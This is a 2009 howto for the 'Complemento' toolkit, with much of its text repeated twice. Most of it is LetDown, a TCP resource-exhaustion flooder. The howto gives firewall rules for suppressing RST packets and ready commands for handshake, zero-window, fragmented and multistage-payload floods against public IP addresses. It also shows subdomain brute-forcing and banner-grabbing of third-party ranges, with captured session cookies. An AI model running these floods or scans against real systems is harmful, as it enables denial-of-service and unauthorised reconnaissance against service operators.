Howto
Acri Emanuele - 2009
Complemento
is a
collection of tools that I originally grokked up for my personal
toolchain for solving some
problems or just for fun. Now I have decided to
release it to the public. The programs are networking and penetration
testing oriented; in this howto we will see their features and how
to use them.
INDEX:
LetDown
LetDown is a tcp flooder that i have programmed after reading Fyodor article "TCP Resource Exhaustion and Botched Disclosure". It has an (experimental) userland TCP/IP stack, and support multistage payloads for complex protocols (such as FTP, SMTP, etc... I have included some examples in the "payloads" directory), fragmentation of packets and variable tcp window.
You should read the article written by Fyodor (at http://insecure.org/stf/tcp-dos-attack-explained.html) before using LetDown. This is a short extract:
"The basic idea is to first firewall your source address to prevent your own OS from interfering with your attack. Next you create hundreds or thousands of connections to the TCP port you are targeting as follows:
...
Once you have those thousands of open connections, you can get even nastier by sending malicious data payloads customized for the service you're attacking. For example, you can request a large file from web servers using each of your open connections. The server will then load the first part of that file into the OS TCP stack for sending, using precious kernel memory buffers.
...
...
Let's see the usage screen of LetDown:
Extra options are more interesting:
-f configure automatically the firewall for not resetting the connections made by the program, via iptables rules or sysctl on FreeBSD.
-A is like the "polite mode" of Fyodor NDos, but acks data received without closing the connection.
-F close the connection with finalize packets, the conventional way.
-R close the connection with a reset packet, the brute way.
-W is the tcp window size of acknowledge packets. It can be setted to 0 (zero) for 0-window DoS attacks.
-O enable acknowledge packets fragmentation and the value is used as fragment offset delta.
-C fragment couter, increment the fragment offset as specified by -O option.
-P simple payload file to sent to the remate host after the 3-way handshake.
-M multistage payload.
Let's see some simple uses of the tool...
Remenber: the kernel will reset the connections if you don't set your firewall properly. For iptables you can use:
# iptables -A OUTPUT -p tcp --tcp-flags ALL RST -j DROP
or if you use FreeBSD:
# sysctl net.inet.tcp.blackhole=2
EXAMPLES:
A generic 3-way handshake flooding against a service (in this case FTP):
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 21
Attack against a webserver using payload and firewall options:
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 80 -f iptables -P payloads/http.txt
Attack that use only 3 ports (120-123) and with the time option:
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 80 -x 120 -y 123 -t 10000
Now that you understand the basic use of the tool let's see some features a bit more advanced...
This is an attack that uses a TCP window of size 0. For mare information about 0-window attack and TCP protocol you can read:
http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-4.htm
http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-2.htm#Figure_226
# letdown -d 66.249.93.104 -p 80 -x 1025 -y 1025 -P payloads/http.txt -W 0 -A -a 1
This is a screenshot of a Wireshark session.
More advanced uses can involve the fragmentation of packets. In this case i use an offset delta of 1024:
# letdown -d 66.249.93.104 -p 80 -x 1025 -y 1025 -P payloads/http.txt -O 1024 -C 5
Screenshot:
And for more complex protocols that require a certain connection status?
I have developed a very simple syntax for creating multi-stage payloads for protocols like FTP and SMTP. This is a brief description:
Comments:
# Comment
Actions:
.ACTION type
Payload:
.PAYHEAD type
payload
....
....
.PAYTAIL type
For payheads, the types may be ACK or PUSHACK, according to tcp flags to use.
For actions and paytails, the types may be REPL, EXIT or RESET, respectively "reply to host answers", "exit" without closing the connection and "reset" the connection.
This is the file ftp-multi in the payloads directory of LetDown:
# Example of FTP multistage payload
# Ack FTP server banner...
.ACTION REPL
# First command
.PAYHEAD ACK
USER root
.PAYTAIL REPL
# Second command
.PAYHEAD ACK
PASS foo
.PAYTAIL REPL
# Request help
.PAYHEAD ACK
help
.PAYTAIL REPL
# Ack received help
.ACTION REPL
# Quit the connection
.PAYHEAD ACK
quit
.PAYTAIL REPL
.ACTION REPL
Let's see this in action:
# letdown -d 81.31.152.93 -p 21 -x 1331 -y 1331 -a 20 -M payloads/ftp-multi.txt -A -F
Screenshot:
As you can see looks like a normal connection, but it 's all done in userspace by the TCP stack of LetDown.
Well, I think that letdown has no more secrets for you ...
I give you only a last hint: LetDown is not perfect, especially in case of multistage payloads. You should try the payload on the specific host and test if it works before starting a flood.
ReverseRaider
ReverseRaider is a domain scanner that uses brute force wordlist scanning for finding a target subdomain or reverse resolution of an ip range. It support permutation on wordlist and IPv6.
Let's see the usage screen of ReverseRaider:
ReverseRaider domain scanner v0.5 - Acri Emanuele (crossbower@gmail.com)
Usage:
reverseraider -d domain | -r range [options]
Options:
-r range of ipv4 or ipv6 addresses, for reverse scanning.
examples: 208.67.1.1-254 or 2001:0DB8::1428:57ab-6344
-d domain, for wordlist scanning (example google.com)
-w wordlist file (see wordlists directory...)
Extra options:
-t max request time, in seconds
-P enable numeric permutation on wordlist (default off)
The options relate of course to the scanning mode, wordlist or reverse resolution. The extra options permit to set the maximum time for waiting responses from the nameserver or to activate permutations on wordlists.
Let's see some examples of use:
Reverse scanning of an ip range (in our examples the owner of the hosts scanned is Google...):
$ reverseraider -r 66.249.93.100-120
Output:
66.249.93.104 google.it
66.249.93.100 ug-in-f100.google.com
66.249.93.101 ug-in-f101.google.com
66.249.93.102 ug-in-f102.google.com
66.249.93.111 ug-in-f111.google.com
66.249.93.109 ug-in-f109.google.com
66.249.93.112 ug-in-f112.google.com
66.249.93.114 gsmtp93-2.google.com
66.249.93.118 ug-in-f118.google.com
66.249.93.120 ug-in-f120.google.com
We can do the same with a range of IPv6 (if your nameserver support reverse dns query for IPv6):
$ reverseraider -r 2001:4860:0:1001::68-69
Output:
2001:4860:0:1001::68 ipv6.google.com
Wordlist scanning of a domain:
$ reverseraider -d google.com -w wordlists/fast.list
Output:
www.google.com 208.69.34.230
www.google.com 208.69.34.231
smtp.google.com 209.85.237.25
mail.google.com 66.249.91.18
mail.google.com 66.249.91.19
mail.google.com 66.249.91.83
mail.google.com 66.249.91.17
ns.google.com 216.239.32.10
vpn.google.com 64.9.224.69
vpn.google.com 64.9.224.70
vpn.google.com 64.9.224.68
web.google.com 208.69.34.231
web.google.com 208.69.34.230
ipv6.google.com 2001:4860:0:1001::68
ipv6.google.com 2001:4860:0:1001::68
print.google.com 64.233.183.104
print.google.com 64.233.183.99
print.google.com 64.233.183.103
print.google.com 64.233.183.147
As you can see, in the case of 'ipv6.google.com' the result is an IPv6 address...
HttSquash
Httsquash is an http server scanner, banner grabber and data retriever. It can be used for scanning large ranges of ip for finding devices or http servers. It support IPv6.
Let's see the usage screen of HttSquash:
HTTSquash scanner v0.5 - Acri Emanuele (crossbower@gmail.com)
Usage:
httsquash -r range [options]
Options:
-r range of ipv4 or ipv6 addresses, for scanning
examples: 208.67.1.1-254 or 2001:0DB8::1428:57ab-6344
-p port (default 80)
Extra options:
-t time in seconds (default 3)
-P personalized http request. Payload file
-v full answer (include html data)
-j cookie jar separator ("%%")
The required options are the range of ip to scan and the port of http servers. It's also possible to set the max time to wait responses, a personalized http request, the "full" mode and a cookie-jer separator between the results.
Let's see some examples of use:
Http header grabbing of a server (using IPv6... for IPv4 is the same):
$ httsquash -r 2001:4860:0:1001::68
Output:
FOUND: 2001:4860:0:1001::68 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:25:41 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Transfer-Encoding: chunked
Full mode:
$ httsquash -r 2001:4860:0:1001::68 -v
Output:
FOUND: 2001:4860:0:1001::68 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:27:55 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Transfer-Encoding: chunked
DATA:
<html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Google</title>
...
...
</body></html>
By setting an ip range it's possible to scan a subnet for finding http servers, including networked devices that have an http control panel:
$ httsquash -r 89.97.126.0-50
Output:
FOUND: 89.97.126.3 80
HTTP/1.1 302 Moved Temporarily
Date: Sun, 28 Dec 2008 13:33:20 GMT
Pragma: no-cache
Location: http://servizionline.inail.it/SingleSignOn/controller?NOME=NSAssCat&url=http%3A%2F%2Flocalhost%3A80%2Fwelcome.jsp
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033 with CR196738
Content-Type: text/html
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID_NS=JXAg3nzSKxN25e27Bof9Jzqe6qDI1QQnOgG7VFFRWAjsIM4s535p!-336801167!183762789!8080!-1; domain=.inail.it; path=/
Transfer-Encoding: Chunked
Cache-Control: no-cache
Connection: Close
FOUND: 89.97.126.8 80
HTTP/1.1 200 OK
Date: Sun, 28 Dec 2008 13:33:23 GMT
Pragma: no-cache
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033 with CR196738
Content-Type: text/html
Expires: 0
Set-Cookie: JSESSIONID=JXAjnHh9dWD29xpXtBGsgliYFx6JtqTDvm2st7R1myqidqtRndHI!1060138721; path=/
cache control: no
Transfer-Encoding: Chunked
Connection: Close
FOUND: 89.97.126.25 80
HTTP/1.0 200 OK
Server: WebLogic 4.5.1 09/30/1999 17:41:18 #53704
Content-Length: 290
Content-Type: text/html
Last-Modified: Thu, 21 Jun 2001 14:34:12 GMT
FOUND: 89.97.126.26 80
HTTP/1.1 404 Not Found
Date: Thu, 01 Jan 1970 00:00:00 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033
Content-Length: 1278
Content-Type: text/html
Connection: Close
FOUND: 89.97.126.34 80
HTTP/1.1 400 No Host matches server name localhost
Server: Apache-Coyote/1.1
Date: Sun, 28 Dec 2008 13:33:35 GMT
Connection: close
FOUND: 89.97.126.33 80
HTTP/1.1 400 Bad Request
Content-Type: text/html
Date: Sun, 28 Dec 2008 13:33:35 GMT
Connection: close
Content-Length: 39
For parsing the results it's useful setting the -j (jar-cookie separator option).
You can also provide a customized http request. This is "head.txt" in the payloads directory:
HEAD / HTTP/1.1
host: localhost
user-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
connection: keep-alive
Let's using it:
$ httsquash -r 66.249.93.104 -P payloads/head.txt
Output:
FOUND: 66.249.93.104 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:40:22 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Content-Length: 0
Conclusion
Have fun!
INDEX:
LetDown
LetDown is a tcp flooder that i have programmed after reading Fyodor article "TCP Resource Exhaustion and Botched Disclosure". It has an (experimental) userland TCP/IP stack, and support multistage payloads for complex protocols (such as FTP, SMTP, etc... I have included some examples in the "payloads" directory), fragmentation of packets and variable tcp window.
You should read the article written by Fyodor (at http://insecure.org/stf/tcp-dos-attack-explained.html) before using LetDown. This is a short extract:
"The basic idea is to first firewall your source address to prevent your own OS from interfering with your attack. Next you create hundreds or thousands of connections to the TCP port you are targeting as follows:
- Attacker sends a TCP SYN packet to the target port from his own IP address to request a connection.
- The target port is open, so it will respond with a SYN/ACK packet. Remember that Attacker sent the SYN as a raw packet from userland rather than using his operating system's connect() API to establish the connections. So when Attacker's operating system's TCP stack sees the unexpected SYN/ACK come back, it would normally destroy the nascent connection by sending a reset (RST) packet. This is why the special firewall rule was mentioned—to prevent such interference by Attacker's OS. Instead Attacker's DoS client handles all these packets by sniffing them from userland (generally using libpcap) and building/sending the raw reply packets.
- Using the initial sequence number and other information from the SYN/ACK, Attacker sends an acknowledgment packet (the final step of the 3-way handshake) to complete the connection.
...
Once you have those thousands of open connections, you can get even nastier by sending malicious data payloads customized for the service you're attacking. For example, you can request a large file from web servers using each of your open connections. The server will then load the first part of that file into the OS TCP stack for sending, using precious kernel memory buffers.
...
...
Other options for nastyness include IP fragmentation and TCP segmentation. For example, you can waste memory by sending many large packets with each having one fragment missing, or you can leave a gap in the TCP streams by sending data at the end of the current window with nothing in between. The target OS may buffer that data until you decide to send the intervening packets.
You can easily tweak this attack to target different resources (such as requesting a dynamic page which requires significant CPU time to compute). These are just modifications of the fundamental attack, which is to use raw TCP packets to make a massive number of connections and (optionally) send malicious application-specific payloads for each connection, while tweaking details such as your packet timing and window sizes to have the most damaging affect. "Let's see the usage screen of LetDown:
LetDown 3wh+payload flooder v0.5 - Acri Emanuele (crossbower@gmail.com)Required options are the destination address and port. The other main options include the source ip address, the first and last port used in the scanning loop, the network interface to use for sniffing and injecting packets, the sleep time between the injections of packets and the maximum time for waiting responses.
Usage:
letdown -d destination ip -p port [options]
Options:
-d destination ip address, target
-p destination port
-s source ip address
-x first source port (default 1025)
-y last source port (default 65535)
-i network interface
-t sleep time in microseconds (default 10000)
-a max time in second for waiting responses
Extra options:
-f automagically set firewall rules for blocking
rst packet generated by the kernel
examples: -f iptables, -f blackhole (for freebsd)
-A send acknowledgment packets
-F send finalize packets
-R send reset packets (check firewall rules...)
-W window size for ack packets (ex: 0-window attack)
-O enable ack fragmentation and set fragment offset delta
-C fragment counter if fragmentation is enabled (default 1)
-P payload file (see payloads directory...)
-M multistage payload file (see payloads directory...)
Extra options are more interesting:
-f configure automatically the firewall for not resetting the connections made by the program, via iptables rules or sysctl on FreeBSD.
-A is like the "polite mode" of Fyodor NDos, but acks data received without closing the connection.
-F close the connection with finalize packets, the conventional way.
-R close the connection with a reset packet, the brute way.
-W is the tcp window size of acknowledge packets. It can be setted to 0 (zero) for 0-window DoS attacks.
-O enable acknowledge packets fragmentation and the value is used as fragment offset delta.
-C fragment couter, increment the fragment offset as specified by -O option.
-P simple payload file to sent to the remate host after the 3-way handshake.
-M multistage payload.
Let's see some simple uses of the tool...
Remenber: the kernel will reset the connections if you don't set your firewall properly. For iptables you can use:
# iptables -A OUTPUT -p tcp --tcp-flags ALL RST -j DROP
or if you use FreeBSD:
# sysctl net.inet.tcp.blackhole=2
EXAMPLES:
A generic 3-way handshake flooding against a service (in this case FTP):
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 21
Attack against a webserver using payload and firewall options:
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 80 -f iptables -P payloads/http.txt
Attack that use only 3 ports (120-123) and with the time option:
# letdown -d 208.11.11.11 -s 192.168.1.9 -p 80 -x 120 -y 123 -t 10000
Now that you understand the basic use of the tool let's see some features a bit more advanced...
This is an attack that uses a TCP window of size 0. For mare information about 0-window attack and TCP protocol you can read:
http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-4.htm
http://www.tcpipguide.com/free/t_TCPWindowSizeAdjustmentandFlowControl-2.htm#Figure_226
# letdown -d 66.249.93.104 -p 80 -x 1025 -y 1025 -P payloads/http.txt -W 0 -A -a 1
This is a screenshot of a Wireshark session.
More advanced uses can involve the fragmentation of packets. In this case i use an offset delta of 1024:
# letdown -d 66.249.93.104 -p 80 -x 1025 -y 1025 -P payloads/http.txt -O 1024 -C 5
Screenshot:
And for more complex protocols that require a certain connection status?
I have developed a very simple syntax for creating multi-stage payloads for protocols like FTP and SMTP. This is a brief description:
Comments:
# Comment
Actions:
.ACTION type
Payload:
.PAYHEAD type
payload
....
....
.PAYTAIL type
For payheads, the types may be ACK or PUSHACK, according to tcp flags to use.
For actions and paytails, the types may be REPL, EXIT or RESET, respectively "reply to host answers", "exit" without closing the connection and "reset" the connection.
This is the file ftp-multi in the payloads directory of LetDown:
# Example of FTP multistage payload
# Ack FTP server banner...
.ACTION REPL
# First command
.PAYHEAD ACK
USER root
.PAYTAIL REPL
# Second command
.PAYHEAD ACK
PASS foo
.PAYTAIL REPL
# Request help
.PAYHEAD ACK
help
.PAYTAIL REPL
# Ack received help
.ACTION REPL
# Quit the connection
.PAYHEAD ACK
quit
.PAYTAIL REPL
.ACTION REPL
Let's see this in action:
# letdown -d 81.31.152.93 -p 21 -x 1331 -y 1331 -a 20 -M payloads/ftp-multi.txt -A -F
Screenshot:
As you can see looks like a normal connection, but it 's all done in userspace by the TCP stack of LetDown.
Well, I think that letdown has no more secrets for you ...
I give you only a last hint: LetDown is not perfect, especially in case of multistage payloads. You should try the payload on the specific host and test if it works before starting a flood.
ReverseRaider
ReverseRaider is a domain scanner that uses brute force wordlist scanning for finding a target subdomain or reverse resolution of an ip range. It support permutation on wordlist and IPv6.
Let's see the usage screen of ReverseRaider:
ReverseRaider domain scanner v0.5 - Acri Emanuele (crossbower@gmail.com)
Usage:
reverseraider -d domain | -r range [options]
Options:
-r range of ipv4 or ipv6 addresses, for reverse scanning.
examples: 208.67.1.1-254 or 2001:0DB8::1428:57ab-6344
-d domain, for wordlist scanning (example google.com)
-w wordlist file (see wordlists directory...)
Extra options:
-t max request time, in seconds
-P enable numeric permutation on wordlist (default off)
The options relate of course to the scanning mode, wordlist or reverse resolution. The extra options permit to set the maximum time for waiting responses from the nameserver or to activate permutations on wordlists.
Let's see some examples of use:
Reverse scanning of an ip range (in our examples the owner of the hosts scanned is Google...):
$ reverseraider -r 66.249.93.100-120
Output:
66.249.93.104 google.it
66.249.93.100 ug-in-f100.google.com
66.249.93.101 ug-in-f101.google.com
66.249.93.102 ug-in-f102.google.com
66.249.93.111 ug-in-f111.google.com
66.249.93.109 ug-in-f109.google.com
66.249.93.112 ug-in-f112.google.com
66.249.93.114 gsmtp93-2.google.com
66.249.93.118 ug-in-f118.google.com
66.249.93.120 ug-in-f120.google.com
We can do the same with a range of IPv6 (if your nameserver support reverse dns query for IPv6):
$ reverseraider -r 2001:4860:0:1001::68-69
Output:
2001:4860:0:1001::68 ipv6.google.com
Wordlist scanning of a domain:
$ reverseraider -d google.com -w wordlists/fast.list
Output:
www.google.com 208.69.34.230
www.google.com 208.69.34.231
smtp.google.com 209.85.237.25
mail.google.com 66.249.91.18
mail.google.com 66.249.91.19
mail.google.com 66.249.91.83
mail.google.com 66.249.91.17
ns.google.com 216.239.32.10
vpn.google.com 64.9.224.69
vpn.google.com 64.9.224.70
vpn.google.com 64.9.224.68
web.google.com 208.69.34.231
web.google.com 208.69.34.230
ipv6.google.com 2001:4860:0:1001::68
ipv6.google.com 2001:4860:0:1001::68
print.google.com 64.233.183.104
print.google.com 64.233.183.99
print.google.com 64.233.183.103
print.google.com 64.233.183.147
As you can see, in the case of 'ipv6.google.com' the result is an IPv6 address...
HttSquash
Httsquash is an http server scanner, banner grabber and data retriever. It can be used for scanning large ranges of ip for finding devices or http servers. It support IPv6.
Let's see the usage screen of HttSquash:
HTTSquash scanner v0.5 - Acri Emanuele (crossbower@gmail.com)
Usage:
httsquash -r range [options]
Options:
-r range of ipv4 or ipv6 addresses, for scanning
examples: 208.67.1.1-254 or 2001:0DB8::1428:57ab-6344
-p port (default 80)
Extra options:
-t time in seconds (default 3)
-P personalized http request. Payload file
-v full answer (include html data)
-j cookie jar separator ("%%")
The required options are the range of ip to scan and the port of http servers. It's also possible to set the max time to wait responses, a personalized http request, the "full" mode and a cookie-jer separator between the results.
Let's see some examples of use:
Http header grabbing of a server (using IPv6... for IPv4 is the same):
$ httsquash -r 2001:4860:0:1001::68
Output:
FOUND: 2001:4860:0:1001::68 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:25:41 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Transfer-Encoding: chunked
Full mode:
$ httsquash -r 2001:4860:0:1001::68 -v
Output:
FOUND: 2001:4860:0:1001::68 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:27:55 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Transfer-Encoding: chunked
DATA:
<html><head><meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>Google</title>
...
...
</body></html>
By setting an ip range it's possible to scan a subnet for finding http servers, including networked devices that have an http control panel:
$ httsquash -r 89.97.126.0-50
Output:
FOUND: 89.97.126.3 80
HTTP/1.1 302 Moved Temporarily
Date: Sun, 28 Dec 2008 13:33:20 GMT
Pragma: no-cache
Location: http://servizionline.inail.it/SingleSignOn/controller?NOME=NSAssCat&url=http%3A%2F%2Flocalhost%3A80%2Fwelcome.jsp
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033 with CR196738
Content-Type: text/html
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID_NS=JXAg3nzSKxN25e27Bof9Jzqe6qDI1QQnOgG7VFFRWAjsIM4s535p!-336801167!183762789!8080!-1; domain=.inail.it; path=/
Transfer-Encoding: Chunked
Cache-Control: no-cache
Connection: Close
FOUND: 89.97.126.8 80
HTTP/1.1 200 OK
Date: Sun, 28 Dec 2008 13:33:23 GMT
Pragma: no-cache
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033 with CR196738
Content-Type: text/html
Expires: 0
Set-Cookie: JSESSIONID=JXAjnHh9dWD29xpXtBGsgliYFx6JtqTDvm2st7R1myqidqtRndHI!1060138721; path=/
cache control: no
Transfer-Encoding: Chunked
Connection: Close
FOUND: 89.97.126.25 80
HTTP/1.0 200 OK
Server: WebLogic 4.5.1 09/30/1999 17:41:18 #53704
Content-Length: 290
Content-Type: text/html
Last-Modified: Thu, 21 Jun 2001 14:34:12 GMT
FOUND: 89.97.126.26 80
HTTP/1.1 404 Not Found
Date: Thu, 01 Jan 1970 00:00:00 GMT
Server: WebLogic Server 7.0 SP4 Tue Aug 12 11:22:26 PDT 2003 284033
Content-Length: 1278
Content-Type: text/html
Connection: Close
FOUND: 89.97.126.34 80
HTTP/1.1 400 No Host matches server name localhost
Server: Apache-Coyote/1.1
Date: Sun, 28 Dec 2008 13:33:35 GMT
Connection: close
FOUND: 89.97.126.33 80
HTTP/1.1 400 Bad Request
Content-Type: text/html
Date: Sun, 28 Dec 2008 13:33:35 GMT
Connection: close
Content-Length: 39
For parsing the results it's useful setting the -j (jar-cookie separator option).
You can also provide a customized http request. This is "head.txt" in the payloads directory:
HEAD / HTTP/1.1
host: localhost
user-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
connection: keep-alive
Let's using it:
$ httsquash -r 66.249.93.104 -P payloads/head.txt
Output:
FOUND: 66.249.93.104 80
HTTP/1.1 200 OK
Cache-Control: private, max-age=0
Date: Sun, 28 Dec 2008 13:40:22 GMT
Expires: -1
Content-Type: text/html; charset=UTF-8
Server: gws
Content-Length: 0
Conclusion
Have fun!